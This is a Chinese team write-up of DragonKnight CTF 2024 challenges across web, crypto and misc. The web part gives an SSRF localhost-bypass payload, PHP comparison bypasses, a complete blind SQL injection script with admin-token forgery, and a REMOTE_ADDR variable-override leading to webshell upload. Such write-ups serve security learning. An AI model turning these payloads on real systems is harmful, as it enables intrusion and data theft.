window.onload=function(){ /*页面加载完成之后生成博客目录*/ BlogDirectory.createBlogDirectory("cnblogs_post_body","h2","h3",20); }

DragonKnight CTF 2024 WP

Team

战队:它们说我是个恶霸

成员:Kicky_Mu  泠鹇  晨曦  dev1l

排名:3

 

WEB

穿梭隐藏的密钥

题目

在一次惊心动魄的太空任务中,你发现了一个隐藏在偏远太空站内部的高度机密的加密密钥。这个密钥可能拥有解锁重要情报的能力,但是要获取它并不是一件简单的事情。
这个密钥被放置在一台极其严密防护的计算机系统中。这台计算机不仅与外界网络完全隔离,而且还设置了多重安全机制,包括身份验证,层层难关等。你作为一名出色的太空探险家,要想成功获取密钥,你必须设法绕过这些安全防护,利用你的专业知识和创造力,想办法通过一些巧妙的方式访问这台计算机,并成功获取隐藏的密钥。准备好你的大脑,开始你的穿梭之旅吧!

ssrf伪造的姿势你了解多少?秘密文件你找到了吗?

请勿使用自动化fuzz工具!

我的解答:

需要用大字典来扫目录。

ctrl+u查看源码,可以找到 c3s4f.php

访问 c3s4f.php 需要fuzz扫出参数。

工具:FUZZ参数名工具-Arjun

得到参数 shell ,接下来是 ssrf 访问 secret.php

参考链接:SSRF

用域名跳转绕过 127.0.0.1 的过滤

shell=http://localtest.me/secret.php

得到下一关的入口和下一关要用到的key

 

cha11eng3.php

<?php
show_source(__FILE__);
include('k4y.php');
include_once('flag.php');


// Challenge 1
if (isset($_GET['DrKn'])) {
    $text = $_GET['DrKn'];
    if(@file_get_contents($text) == $key) {
        echo "有点东西呢"."</br>".$key1."</br>";
    } else {
        die("貌似状态不在线啊(╯_╰)</br>");
    }
} 
    

// Challenge 2
if (isset($_GET[$key1])) {
    $damei = $_GET[$key1];
    if (hash("md4", $damei) == $damei) {
        echo "又近了一步呢,宝~"."</br>".$key2."</br>".$key3;
    } else {
        die("达咩哟~");
    }
} 


// Challenge 3
if (isset($_POST[$key2]) && isset($_POST[$key3])) {
    $user = $_POST[$key2];
    $pass = $_POST[$key3];
  
    if (strlen($user) > 4 || strlen($pass) > 5) {
          die("还得练");
      }
     if ($user !== $pass && md5($user) === md5($pass)) {  
          echo "还不错哦"."$flag";
      }
      else {
          die("nonono") ;
      }
    }

?>

第一层传

?DrKn=data://text/plain,MSIBLG

得到 下一层的参数名 M_ore.8

第二层是md4弱类型比较绕过

参考链接:[第四届-强网杯]:Funhash

M[ore.8=0e001233333333333334557778889

第三层是md5强比较绕过,用数组绕过

wtf[]=1&mC[]=2

 

 EzLogin

题目

Infernity师傅写了一个没啥大用的网站,他的朋友都说他有点大病,你们觉得他写的这个网站是不是有啥大病?

仔细考虑考虑程序是如何根据用户名输出你的密码的?用户名密码从哪里找到的?

我的解答:

一个登录程序,在用户名处存在 sql二次注入

测试过滤,发现过滤了 unionif  、 ><  、concat(空格)等,可以布尔盲注。

脚本:

 

import requests
import base64
import json

url = "http://challenge.qsnctf.com:32411/"

str1 = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}@#$\()*+,-./:;<=>?[\\]^`|~_&!%'

s = requests.Session()

def register(username):
    data = {"username":username,"password":"123"}
    r = s.post(url+'register.php',data)
    #print(r.text)
    
def login(username):
    data = {"username":username,"password":"123"}
    res = requests.post(url+'login.php',data,allow_redirects=False)
    cookie = res.headers['Set-Cookie'].split('=')[1]
    return cookie

def home(token):
    cookies = {"TOKEN":token}
    r = s.get(url+'home.php',cookies=cookies)
    res = r.text.split('<div class="seached-text">')[1].split('</div>')[0]
    res = res.replace('<br>','\n')
    #print(res)
    return res

def token_fix(token):
    token = bytes.fromhex(token)
    token = base64.b64decode(token)
    token = json.loads(token)
    # print(token)
    token['is_admin']=1
    token = json.dumps(token)
    token = base64.b64encode(token.encode())
    token = token.hex()
    return token

def request(username):
    register(username)
    token = login(username)
    token = token_fix(token)
    res = home(token)
    return res



def database_length():
    for i in range(10): 
        username = "admin'and length(database()) = {}#".format(i)
        username = username.replace(' ','/**/')
        res = request(username)
        
        if 'No user found' not in res:
            print('database_length: ',i)
            return i
    return 0


def database_name(length):
    name = ''
    for idx in range(1,length+1):
        for char in str1:
            payload = "admin'and substr(database(),{},1) = '{}'#".format(idx,char)
            payload = payload.replace(' ','/**/')
            res = request(payload)
            if 'No user found' not in res:
                name += char
                print(name)
                break

     
def table_length():
    cnt = {}
    for i in range(20):
        flag = 1
        for j in range(20): 
            flag = 0
            payload = "admin'and length((select table_name from information_schema.tables where table_schema='dkctf' limit {},1))={}#".format(i,j)
            payload = payload.replace(' ','/**/')
            res = request(payload)
            #print(res)
            if 'No user found' not in res:
                print('table_length: ',i,j)
                cnt[i]=j
                flag = 1
                break
        if flag == 0:
            return cnt
    return cnt

def table_name(cnt):
    tables={}
    for i in range(len(cnt)):
        table = ''
        for j in range(1,cnt[i]+1):
            for char in str1:
                payload = "admin'and substr((select table_name from information_schema.tables where table_schema='dkctf' limit {},1),{},1)='{}'#".format(i,j,char)
                payload = payload.replace(' ','/**/')
                res = request(payload)
                #print(res)
                if 'No user found' not in res:
                    table += char
                    print(i,table)
                    break
        tables[i]=table
    return tables
            
def column_length():
    cnt = {}
    for i in range(10):
        flag = 1
        for j in range(20): 
            flag = 0
            payload = "admin'and length((select column_name from information_schema.columns where table_schema='dkctf' and table_name='secret' limit {},1))={}#".format(i,j)
            payload = payload.replace(' ','/**/')
            res = request(payload)
            print(res)
            if 'No user found' not in res:
                print('column_length: ',i,j)
                cnt[i]=j
                flag = 1
                break
        if flag == 0:
            return cnt
    return cnt

def column_name(cnt):
    columns={}
    for i in range(len(cnt)):
        column = ''
        for j in range(1,cnt[i]+1):
            for char in str1:
                payload = "admin'and substr((select column_name from information_schema.columns where table_schema='dkctf' and table_name='secret' limit {},1),{},1)='{}'#".format(i,j,char)
                payload = payload.replace(' ','/**/')
                res = request(payload)
                #print(res)
                if 'No user found' not in res:
                    column += char
                    print(i,column)
                    break
        columns[i]=column
    return columns

def data():
    flag = ''
    for  i in range(1,100):
        for char in str1:
            payload = "admin'and ord(substr((select sseeccrreett from secret),{},1))={}#".format(i,ord(char))
            payload = payload.replace(' ','/**/')
            res = request(payload)
            #print(res)
            if 'No user found' not in res:
                flag += char
                print(i,flag)
                break


if __name__ == '__main__':
    # 注库名 dkctf
    # length = database_length() # 5
    # database_name(length) # dkctf
    
    # 注表名 user secret
    # table_length = table_length() # {0: 4, 1: 6}
    # print(table_length)
    # tables = table_name(table_length) # {0: 'user', 1: 'secret'}
    # print(tables)
    
    # 注列名 注的是 secret 表 {0: 'flag', 1: 'sseeccrreett'}
    # column_length = column_length()
    # column_length = {0: 4, 1: 12}
    # print(column_length)
    # columns = column_name(column_length)
    # print(columns) # {0: 'flag', 1: 'sseeccrreett'}
    
    # 注数据 注 secret 表 sseeccrreett 列 
    # 
    data()
    # DRKCTF{a51468434dab48668ab2e7d16e21612a}

 

 ezsign

题目

p2zhh写了个网页,你可以帮他测试一下吗

p2zhh无意间改变了变量然后上传了文件解析PHP引擎

我的解答:

dirsearch 扫一手,发现有个index.php.bak

<?php 
error_reporting(0);
// 检查 cookie 中是否有 token
$token = $_COOKIE['token'] ?? null;

if($token){
    extract($_GET);
    $token = base64_decode($token);
    $token = json_decode($token, true);


    $username = $token['username'];
    $password = $token['password'];
    $isLocal = false;
    
    if($_SERVER['REMOTE_ADDR'] == "127.0.0.1"){
        $isLocal = true;
    }

    if($isLocal){
        echo 'Welcome Back,' . $username . '!';
        //如果 upload 目录下存在$username.png文件,则显示图片
        if(file_exists('upload/' . $username . '/' . $token['filename'])){
            // 显示图片,缩小图片
            echo '<br>';
            echo '<img src="upload/' . $username . '/' . $token['filename'] .'" width="200">';
        } else {
            echo '请上传您高贵的头像。';
            // 写一个上传头像的功能
            $html = <<<EOD
            <form method="post" action="upload.php" enctype="multipart/form-data">
                <input type="file" name="file" id="file">
                <input type="submit" value="Upload">
            </form>
            EOD;
            echo $html;
        }
    } else {
        // echo "留个言吧";
        $html = <<<EOD
        <h1>留言板</h1>
        <label for="input-text">Enter some text:</label>
        <input type="text" id="input-text" placeholder="Type here...">
        <button onclick="displayInput()">Display</button>
        EOD;
        echo $html;
    }
} else {
    $html = <<<EOD
<!DOCTYPE html>
<html>
<head>
    <title>Login</title>
</head>
<body>
    <h2>Login</h2>
    <form method="post" action="./login.php">
        <div>
            <label for="username">Username:</label>
            <input type="text" name="username" id="username" required>
        </div>
        <div>
            <label for="password">Password:</label>
            <input type="password" name="password" id="password" required>
        </div>
        <div>
            <input type="submit" value="Login">
        </div>
    </form>
</body>
</html>
EOD;
    echo $html;
}
?>

<script>
    function displayInput() {
      var inputText = document.getElementById("input-text").value;
      document.write(inputText)
    }
</script>

分析可知,extract($_GET);存在变量覆盖,可以利用这个把$_SERVER['REMOTE_ADDR']覆盖成127.0.0.1

url/?_SERVER[REMOTE_ADDR]=127.0.0.1

接着来到文件上传,上传成功后没有返回路径,在源码上可以看到这个

if(file_exists('upload/' . $username . '/' . $token['filename']))

猜测文件上传到/upload/[username]/[filename],尝试发现是正确的。

当存在username时,无论上传什么都不能被解析成php代码。

username置空,成功将文件上传到 upload 目录。

token=eyJ1c2VybmFtZSI6IiIsInBhc3N3b3JkIjoiIn0=

后边就是用上传的一句话木马rce读flag了

 CRYPTO

Crypto_签到

题目

快来签到QAQ

from Crypto.Util.number import *

m = b'flag{********}'
a =  getPrime(247)
b =  getPrime(247)
n =  getPrime(247)

seed = bytes_to_long(m)

class LCG:
    def __init__(self, seed, a, b, m):
        self.seed = seed  
        self.a = a  
        self.b = b  
        self.m = m  

    def generate(self):
        self.seed = (self.a * self.seed + self.b) % self.m
        self.seed = (self.a * self.seed + self.b) % self.m
        return self.seed

seed = bytes_to_long(m)

output = LCG(seed,a,b,n)

for i in range(getPrime(16)):
    output.generate()

print(output.generate())
print(output.generate())
print(output.generate())
print(output.generate())
print(output.generate())

'''
5944442525761903973219225838876172353829065175803203250803344015146870499
141002272698398325287408425994092371191022957387708398440724215884974524650
42216026849704835847606250691811468183437263898865832489347515649912153042
67696624031762373831757634064133996220332196053248058707361437259689848885
19724224939085795542564952999993739673429585489399516522926780014664745253
'''

我的解答:

在网上找到类似的题目

import gmpy2
from Crypto.Util.number import GCD, long_to_bytes

# 完整的密文列表
c = [5944442525761903973219225838876172353829065175803203250803344015146870499,
     141002272698398325287408425994092371191022957387708398440724215884974524650,
     42216026849704835847606250691811468183437263898865832489347515649912153042,
     67696624031762373831757634064133996220332196053248058707361437259689848885,
     19724224939085795542564952999993739673429585489399516522926780014664745253]

import gmpy2
from Crypto.Util.number import GCD, isPrime, long_to_bytes
t=[]
for i in range(1,len(c)):
    t.append(c[i]-c[i-1])

m = 0
for i in range(1,len(t)-1):
    m = GCD(t[i+1]*t[i-1]-t[i]**2, m)
print(isPrime(m))   # False m的倍数
print(m)

for i in range(1,100):
    if isPrime(m//i):
        print(i)   # i是4
        m//=i
        break

a = (c[3]-c[2])*gmpy2.invert(c[2]-c[1],m) % m
b = (c[2]-a*c[1]) % m
# print(gmpy2.gcd(a,m))
# print(gmpy2.gcd(b,m))
a_1=gmpy2.invert(a,m)

for i in range(2**16):
    c[1] = (c[1]-b) * a_1 % m
    flag = long_to_bytes(c[1])

    if b'flag' in flag:
        print(flag)
        break
"https://blog.csdn.net/m0_74345946/article/details/132888135"

MidRSA

题目

很普通的推导,以及一点点对共模攻击的变形

from Crypto.Util.number import *
from secret import flag
import random
import gmpy2

def generate_Key1(ebits):
    e = [getPrime(ebits) for _ in range(4)]
    return e

def encrypt1(message,e):
    n = gmpy2.next_prime(bytes_to_long(message) << 300)
    m = getPrime(256)
    c = [int(pow(m,e[i],n)) for i in range(len(e))]
    return c

def generate_Key2(nbits):
    p = getPrime(nbits // 2)
    q = getPrime(nbits // 2)
    n = p*q
    e = [random.getrandbits(nbits // 4) for _ in range(3)]
    return n,e

def encrypt2(message,e,n):
    m = bytes_to_long(message)
    c = [int(pow(m,e[i],n)) for i in range(len(e))]
    return c
    
assert flag.startswith(b"DRKCTF{")

flag1 = flag[:len(flag)//2]
flag2 = flag[len(flag)//2:]

ebits = 7
e1 = generate_Key1(ebits)
cipher1 = encrypt1(flag1,e1)
print("e1 =",e1)
print("cipher1 =",cipher1)

nbits = 1024
n,e2 = generate_Key2(nbits)
cipher2 = encrypt2(flag2,e2,n)
print("e2 =",e2)
print("cipher2 =",cipher2)
print("n =",n)

"""
e1 = [109, 71, 109, 73]
cipher1 = [36272047346364825234770733058042613197790911431212158822254782055957208837848605160852567043492625692783344073921185227328379941291979083011033, 13421582077901767047291741873622169312010984740586925881415103229648835151589774736786336965745532072099996467445790339749720696886313635920080, 36272047346364825234770733058042613197790911431212158822254782055957208837848605160852567043492625692783344073921185227328379941291979083011033, 41425183140413487232780768389488969603566343428250573532166425276868000949579663990819005141199597640625439816343697426958648927294289659127871]
e2 = [79572758141493570128961125255246129069540961757778793209698370333142346488381, 80555585862127636800866563977080055603517001358195529410497461746213789997225, 44651921320695090688745333790065512192118202496468714141526113242887125432380]
cipher2 = [58600444300331800249882073146233995912287198739549440714207984476331259754331716531491187240053630185776787152600165426285021284302994699108557023545574315706006132536588848833818758624067461985444940651823107522770906474037882323326792755635934081822967331031854184791299228513024491344725765476710816941057, 16511944800191885973496391252612222059697387587833308714567450121364756390806094606646424594583975159634952911600665271092389815248477961923357683297311169260578508157717777465241680062644118354471550223231057620392252324514411927096940875466794869671163453991620492008856178108060167556176019729800517994337, 80885008609388989196377721090246742575908473911131498982960117640742106565184297197238656375198284856442596226398287448931285735903463892735111244609358611618958293002176923706195402338331128766464276441210238388187625107435781170368017908610916585774514676482124401329575553658828115269495158818527164441546]
n = 93468142044831350317940409833603031534515663349871776634867176846669780024082517910566484997161088199091160371537367121403194814422867749777235397168852158723228851090445429617275680206703935781244466363279841409768649097588586494453125840436600639420286950914680651600232197982546122764845043227394567787283
"""

我的解答:

第一部分就是NSSCTF-2nd-wp-crypto | 糖醋小鸡块的blog (tangcuxiaojikuai.xyz)的LatticeLCG,直接抄就完事了

e= [109, 71, 73]
c= [36272047346364825234770733058042613197790911431212158822254782055957208837848605160852567043492625692783344073921185227328379941291979083011033, 13421582077901767047291741873622169312010984740586925881415103229648835151589774736786336965745532072099996467445790339749720696886313635920080, 41425183140413487232780768389488969603566343428250573532166425276868000949579663990819005141199597640625439816343697426958648927294289659127871]

#step1
L = Matrix(ZZ, 3, 4)
for i in range(3):
    L[i,0] = e[i]*1000
    L[i,i+1] = 1
L = L.LLL()

alist1 = L[0][1:]
k1nl = 1
k1nr = 1
for i in range(3):
    if(alist1[i]<0):
        k1nr *= c[i]**(-alist1[i])
    else:
        k1nl *= c[i]**alist1[i]
k1n = k1nl-k1nr

alist2 = L[1][1:]
k2nl = 1
k2nr = 1
for i in range(3):
    if(alist2[i]<0):
        k2nr *= c[i]**(-alist2[i])
    else:
        k2nl *= c[i]**alist2[i]
k2n = k2nl-k2nr

n = gcd(k1n,k2n)

for i in range(2,10000):
    while(n % i == 0):
        n //= i

#检查一下n的长度是否为1024bit
print(len(bin(n)[2:]))
print(long_to_bytes(n>>300))

第二部分共模攻击

from Crypto.Util.number import *

e1, e2, _ = [
    79572758141493570128961125255246129069540961757778793209698370333142346488381,
    80555585862127636800866563977080055603517001358195529410497461746213789997225,
    44651921320695090688745333790065512192118202496468714141526113242887125432380,
]
c1, c2, _ = [
    58600444300331800249882073146233995912287198739549440714207984476331259754331716531491187240053630185776787152600165426285021284302994699108557023545574315706006132536588848833818758624067461985444940651823107522770906474037882323326792755635934081822967331031854184791299228513024491344725765476710816941057,
    16511944800191885973496391252612222059697387587833308714567450121364756390806094606646424594583975159634952911600665271092389815248477961923357683297311169260578508157717777465241680062644118354471550223231057620392252324514411927096940875466794869671163453991620492008856178108060167556176019729800517994337,
    80885008609388989196377721090246742575908473911131498982960117640742106565184297197238656375198284856442596226398287448931285735903463892735111244609358611618958293002176923706195402338331128766464276441210238388187625107435781170368017908610916585774514676482124401329575553658828115269495158818527164441546,
]
n = 93468142044831350317940409833603031534515663349871776634867176846669780024082517910566484997161088199091160371537367121403194814422867749777235397168852158723228851090445429617275680206703935781244466363279841409768649097588586494453125840436600639420286950914680651600232197982546122764845043227394567787283
_, s1, s2 = xgcd(e1, e2)
m = (pow(c1, s1, n) * pow(c2, s2, n)) % n
print(long_to_bytes(m))

MatrixRSA_Revenge

题目

嘁~无非就是变成4阶矩阵嘛,一点都不难嘛

from Crypto.Util.number import *
import os

flag = b"DRKCTF{??????????????}" + os.urandom(212)

p = getPrime(120)
q = getPrime(120)
print(f"p = {p}")
print(f"q = {q}")

part = [bytes_to_long(flag[16*i:16*(i+1)]) for i in range(16)]

M = Matrix(Zmod(n),[
    [part[4*i+j] for j in range(4)] for i in range(4)
])

e = 65537
C = M ** e

print(f"C = {list(C)}")

"""
p = 724011645798721468405549293573288113   
q = 712853480230590736297703668944546433
C = [(354904294318305224658454053059339790915904962123902870614765704810196137, 307912599668649689143528844269686459695648563337814923172488152872006235, 143644686443811064172873392982322248654471792394264352463341325181752577, 22995887787365556743279529792687264972121816670422146768160153217903088), (111349308911096779758451570594323566987628804920420784718347230085486245, 370237591900013263581099395076767089468466012835217658851568690263421449, 305451886364184428434479088589515273362629589399867618474106045683764897, 454103583344277343974714791669312753685583930212748198341578178464249150), (168497521640129742759262423369385500102664740971338844248603058993335309, 228941893018899960301839898935872289351667488000643221589230804176281482, 340080333594340128998141220817079770261711483018587969623825086357581002, 122922413789905368029659916865893297311475500951645918611759627764993518), (10332477229415731242316540110058798318207430965033579181240340751539101, 238172263316130590821973648893483382211906906298557131324791759298887701, 487586702165464601760230182019344052665496627253691596871783460314632260, 12238020921585443139790088280608644406695242899000592355653073240122626)]
"""

我的解答:

和2024H&NCTF的题目很像,改个参数就可以了

from Crypto.Util.number import *
import gmpy2

p = 56891773340056609
q = 68964114585148667
e = 65537

c = [(1419745904325460721019899475870191, 2134514837568225691829001907289833, 3332081654357483038861367332497335), (3254631729141395759002362491926143, 3250208857960841513899196820302274, 1434051158630647158098636495711534), (2819200914668344580736577444355697, 2521674659019518795372093086263363, 2850623959410175705367927817534010)]

C = Matrix(Zmod(n),c)

order_p = p*(p-1)*(p+1)*(p^2+p+1)
order_q = q*(q-1)*(q+1)*(q^2+q+1)
order = order_p * order_q

d = gmpy2.invert(e,order)
M = C ** d

flag = b""
for i in range(3):
    for j in range(3):
        m = int(M[i,j])
        flag += long_to_bytes(m)

print(flag)

MyEncrypto

题目

一点点格和多项式

from Crypto.Util.number import *
from secret import flag      
import random

def getMyPrime():              
    while True:              
        r = random.getrandbits(64)              
        _p = r**6 -3*r**5 - r**4 + r**2 - r - 6
        _q = r**7 + 2*r**6 + r**5 + 4*r**4 + 7*r**2 + r + 4653
        if isPrime(_p) and isPrime(_q):              
            return _p, _q
                      
def enc(m, n):                        
    return pow(m, 65537, n)              

def LCG(s,a,b,n):
    return (a*s + b) % n


seed = bytes_to_long(flag)
P = getPrime(512)
a = random.randrange(0,P)
b = random.randrange(0,P)

def Roll():
    global seed
    seed = LCG(seed,a,b,P)
    return seed % 2**16

p, q = getMyPrime()
n = p * q              
enc_P = enc(P, n)
print(f"n = {n}")              
print(f"enc_P = {enc_P}")

out = []
for _ in range(40):
    out.append(Roll())

print(f"a = {a}")
print(f"b = {b}")
print(f"out = {out}")
"""
n = 17959692613208124553115435318871530105762927141420294800783695207170608966804977782615874404539156257549097962410144332053383210075663138848832474791712256427111304125146378883542387121684653496644116081809328796925343393644118376497507
enc_P = 17215745298239635988196009014709535403293865406390546681749129213899045156482782458937447412919331336842808052179915132663427715069134196783415529688715962754860563850858056507148936427379551986735103284388996678146580229028006898491552
a = 2759277675743644814124420138047586760905070650864591936190199977578763421196999718749092450720072564786874114432179104175692800471519816376692104515142375
b = 8111240578821759579875175166986910195923820191652867334412871591814076020421468033017946066268237980082938735686222173713853299600396887041341974719819186
out = [39566, 15295, 19818, 55685, 49100, 6517, 2675, 9567, 37243, 40312, 42906, 35874, 44178, 1256, 40298, 29149, 35721, 19886, 63020, 50116, 6844, 39897, 16134, 50218, 44609, 46188, 52712, 49903, 20933, 5441, 19411, 8330, 6904, 39350, 60853, 43446, 35910, 43728, 61533, 13757]
"""

我的解答:

论文题,大致思路就是根据LCG的表达式列出来方程,然后用LLL格基规约求解CVP问题恢复出完整的 LCG输出序列,具体可以参:https://www.math.cmu.edu/~af1p/Texfiles/RECONTRUNC.pdf 第2.7节

exp:

from Crypto.Util.number import *
from fpylll import *
n =
17959692613208124553115435318871530105762927141420294800783695207170608966804977
78261587440453915625754909796241014433205338321007566313884883247479171225642711
1304125146378883542387121684653496644116081809328796925343393644118376497507
enc_P =
17215745298239635988196009014709535403293865406390546681749129213899045156482782
45893744741291933133684280805217991513266342771506913419678341552968871596275486
0563850858056507148936427379551986735103284388996678146580229028006898491552
a =
27592776757436448141244201380475867609050706508645919361901999775787634211969997
18749092450720072564786874114432179104175692800471519816376692104515142375
b =
81112405788217595798751751669869101959238201916528673344128715918140760204214680
33017946066268237980082938735686222173713853299600396887041341974719819186
out = [39566, 15295, 19818, 55685, 49100, 6517, 2675, 9567, 37243, 40312, 42906,
35874, 44178, 1256, 40298, 29149, 35721, 19886, 63020, 50116, 6844, 39897, 16134,
50218, 44609, 46188, 52712, 49903, 20933, 5441, 19411, 8330, 6904, 39350, 60853,
43446, 35910, 43728, 61533, 13757]
PR.<r> = PolynomialRing(ZZ)
f = (r**6 -3*r**5 - r**4 + r**2 - r - 6) * (r**7 + 2*r**6 + r**5 + 4*r**4 +
7*r**2 + r + 4653) - n
r = f.roots()[0][0]
p = r**6 -3*r**5 - r**4 + r**2 - r - 6
q = r**7 + 2*r**6 + r**5 + 4*r**4 + 7*r**2 + r + 4653
assert p * q == n
P = pow(enc_P, inverse_mod(65537, (p - 1) * (q - 1)), n)
def gen_matrix(a:int, modulus:int, size:int) -> list:
  matrix = [[0]*size for _ in range(size)]
  for i in range(size):
    matrix[0][i] = pow(a, i, modulus)
  for i,j in zip(range(1,size), range(1,size)):
    if i==j:
      matrix[i][j] = modulus
  return matrix
def attack(a:int, modulus:int, output_length:int, Ys:list):
  I = inverse_mod(2**output_length, modulus)
  y = [(el*I) % modulus for el in Ys]
  L = IntegerMatrix.from_matrix(gen_matrix(a, modulus, len(Ys)))
  reduced = LLL.reduction(L)
  Xi_I = CVP.closest_vector(reduced, y, method="fast")
  Xi = [xi_i*2**output_length % modulus for xi_i in Xi_I]
  return Xi
diffs = []
for i in range(len(out) - 1):
  diffs += [out[i + 1] - out[i]]
Xi = attack(a, P, 16, diffs)
seed = ((((Xi[0] - b) * inverse_mod(a - 1, P)) % P) - b) * inverse_mod(a, P) % P
flag = long_to_bytes(seed)
print(flag)

运行sage得到flag

 EzDES

题目

DES中密钥的选取有什么讲究呢。(从密钥破局)

from Crypto.Cipher import DES
from Crypto.Util.Padding import pad
from secret import flag,key

key = bytes.fromhex(key)
des = DES.new(key, DES.MODE_ECB)

enc = des.encrypt(pad(flag,64))

print(enc)

"""
b't\xe4f\x19\xc6\xef\xaaL\xc3R}\x08;K\xc9\x88\xa6|\nF\xc3\x12h\xcd\xd3x\xc3(\x91\x08\x841\xca\x8b\xc1\x94\xb5\x9f[\xcd\xc6\x9f\xf9\xf6\xca\xf5\x1a\xda\x16\xcf\x89\x154\xa1\xfe\xc5\x16\xcf\x89\x154\xa1\xfe\xc5'
"""

我的解答:

一眼弱密钥

from Crypto.Cipher import DES
key=b'\x00'*8
c=b't\xe4f\x19\xc6\xef\xaaL\xc3R}\x08;K\xc9\x88\xa6|\nF\xc3\x12h\xcd\xd3x\xc3(\x91\x08\x841\xca\x8b\xc1\x94\xb5\x9f[\xcd\xc6\x9f\xf9\xf6\xca\xf5\x1a\xda\x16\xcf\x89\x154\xa1\xfe\xc5\x16\xcf\x89\x154\xa1\xfe\xc5'
des = DES.new(key, DES.MODE_ECB)

print(des.decrypt(c))

MISC

Steal_Data(复现)

题目

小龙做了2024 51建模的B题,小黄看上了小龙的成果,于是黑进小龙的电脑偷走了数据...
请将做出来的flag用DRKCTF{}替换flag{}

51建模的B题是需要在最短路径的条件下,找最佳流量分配,那么如何找最短路径呢?

我的解答:

分析流量http,发现一个shell.php

跟进查看。看到密文和加密方式以及key:先进行了base64加密再AES-128-ECB, key为dragonknight的md5值。

解码即可:

然后找最短路径即可:

import networkx as nx
lujin = [(102 ,22) ,(22 ,33) ,(33 ,108) ,(108 ,102) ,(108 ,12) ,(12 ,13) ,(13 ,97) ,(108 ,97) ,
         (97 ,47) ,(97 ,103) ,(47 ,103) ,(103 ,123) ,(123 ,21) ,(103 ,21) ,(123 ,27) ,(123 ,119) ,
         (119 ,27) ,(119 ,58) ,(119 ,105) ,(58 ,105) ,(105 ,115) ,(105 ,44) ,(115 ,44) ,(115 ,104) ,
         (115 ,43) ,(43 ,104) ,(104 ,95) ,(95 ,42) ,(42 ,104) ,(95 ,68) ,(95 ,28) ,(28 ,68) ,(68 ,30) ,
         (30 ,114) ,(68 ,114) ,(114 ,65) ,(114 ,62) ,(62 ,65) ,(65 ,71) ,(65 ,60) ,(71 ,60) ,(71 ,61) ,
         (71 ,111) ,(61 ,111) ,(111 ,48) ,(111 ,110) ,(110 ,48) ,(110 ,36) ,(110 ,75) ,(36 ,75) ,(75 ,78) ,
         (75 ,38) ,(38 ,78) ,(78 ,39) ,(78 ,73) ,(73 ,39) ,(73 ,46) ,(73 ,57) ,(46 ,57) ,(57 ,9) ,(57 ,72) ,
         (9 ,72) ,(72 ,96) ,(72 ,116) ,(116 ,96) ,(116 ,67) ,(116 ,124) ,(67 ,124) ,(67 ,88) ,(88 ,93) ,(93 ,67) ,
         (88 ,70) ,(70 ,94) ,(88 ,94) ,(70 ,45) ,(70 ,63) ,(63 ,45) ,(45 ,66) ,(66 ,31) ,(45 ,31) ,(66 ,69) ,(66 ,59) ,
         (59 ,69) ,(69 ,7) ,(69 ,84) ,(7 ,84) ,(84 ,50) ,(50 ,6) ,(84 ,6) ,(50 ,101) ,(50 ,2) ,(2 ,101) ,(101 ,0) ,
         (101 ,82) ,(0 ,82) ,(82 ,125)
         ]
G = nx.Graph()
G.add_edges_from(lujin)
path = nx.shortest_path(G, source=102, target=125)

print("".join(chr(i) for i in path))
# flag{wish_DrAGonKNI9HtCXF-BET2eR}

签到

题目

Dragon Knight CTF 启动!!!

我的解答:

然后扫码关注公众号回复相关信息即可。

神秘文字

题目

呜呜呜~xiaoxi的服务器被攻击了,其中截获了一段神秘文字和一个压缩包,你能帮她解出压缩包的内容吗?

𓅂=+![];𓂀=+!𓅂;𓁄=𓂀+𓂀;𓊎=𓁄+𓂀;𓆣=𓁄*𓁄;𓊝=𓊎+𓁄;𓆫=𓁄*𓊎;𓅬=𓆣+𓊎;[𓇎,𓏢,𓆗,𓃠,𓃀,𓋌,𓏁,𓇲,𓁣,𓁺,𓏁,𓇲,𓆦,𓏁,𓁣,𓇲,𓄬,𓇲,𓁣,𓏁,𓋌,𓁣,𓇲,𓏁,𓋌,𓇲]=(𓆡='\\"')+!!𓆡+!𓆡+𓆡.𓆡+{};𓆉=𓇲+𓁣+𓆦+𓁺+𓆗+𓃠+𓃀+𓇲+𓆗+𓁣+𓃠,𓆉=𓆉[𓆉][𓆉],𓄦=𓏁+𓁣+𓄬+𓆦,𓄀=𓃠+𓋌+𓆗+𓃀+𓃠+𓆦+" ";𓆉(𓆉(𓄀+𓏢+𓆉(𓄀+[..."𓇎𓂀𓅂𓅬𓇎𓂀𓂀𓅬𓇎𓂀𓂀𓅬𓇎𓂀𓅂𓆣𓇎𓆣𓂀𓇎𓂀𓊎𓂀𓇎𓂀𓂀𓅬𓇎𓂀𓁄𓊝𓇎𓂀𓆫𓁄𓇎𓆣𓅂𓇎𓂀𓆫𓅂𓇎𓂀𓅂𓂀𓇎𓂀𓆫𓊎𓇎𓂀𓆫𓊎𓇎𓂀𓁄𓅬𓇎𓂀𓊝𓅬𓇎𓂀𓆫𓁄𓇎𓂀𓆣𓆣𓇎𓆣𓅂𓇎𓂀𓊝𓂀𓇎𓂀𓆫𓊎𓇎𓅬𓁄𓇎𓂀𓊝𓊝𓇎𓂀𓅂𓂀𓇎𓂀𓆫𓁄𓇎𓂀𓆫𓆣𓇎𓆫𓂀𓇎𓂀𓂀𓆫𓇎𓂀𓊎𓅬𓇎𓂀𓂀𓊎𓇎𓆫𓂀𓇎𓂀𓅂𓊝𓇎𓂀𓁄𓅂𓇎𓂀𓆫𓅂𓇎𓆫𓊎"][𓄦]`+`)``+𓏢)``)``

我的解答:

WebStorm里面直接跑,命令: node 埃及文?.txt

得到压缩包密码:mArt1N_K1EPp3

解压拿到flag:DRKCTF{D0_Y0u_KnOw_Wh0_Creat3_J5Fu*K?}

DNA-5(复现)

题目

仔细看题目名喔
flag格式DRKCTF{}

hint1:注意题目名,注意数字

hint2:遥遥领先!

搜搜hint2:遥遥领先,再结合hint1:注意数字看看?

ACGCTAATACCATCAACTCCATAACTCCCCACCTAAATCCAATAACCAGCTAAATCCAATAACCACTACCCCTCCATAAGAGAATAACCACTCATCCCCCTAATAAGAATAAACCTCCCCCAC

我的解答:

DNA解码直接废

根据题目提示:注意题目名以及数字发现是-5(减5),密文里面正好有5个G,遥遥领先的意思就是华为5G,去除5个G得到:

ACCTAATACCATCAACTCCATAACTCCCCACCTAAATCCAATAACCACTAAATCCAATAACCACTACCCCTCCATAAAAATAACCACTCATCCCCCTAATAAAATAAACCTCCCCCAC

密文只有三个字母,一眼摩斯。"A"代表"."  "C"代表"-"  "T"代表"空格"

.-- .. .--. -..- --. ..- ----.-- ... --.. ..--.- ... --.. ..--.- .---- --. ..... ..--.- -. ----- .. .... ...-- -----.-

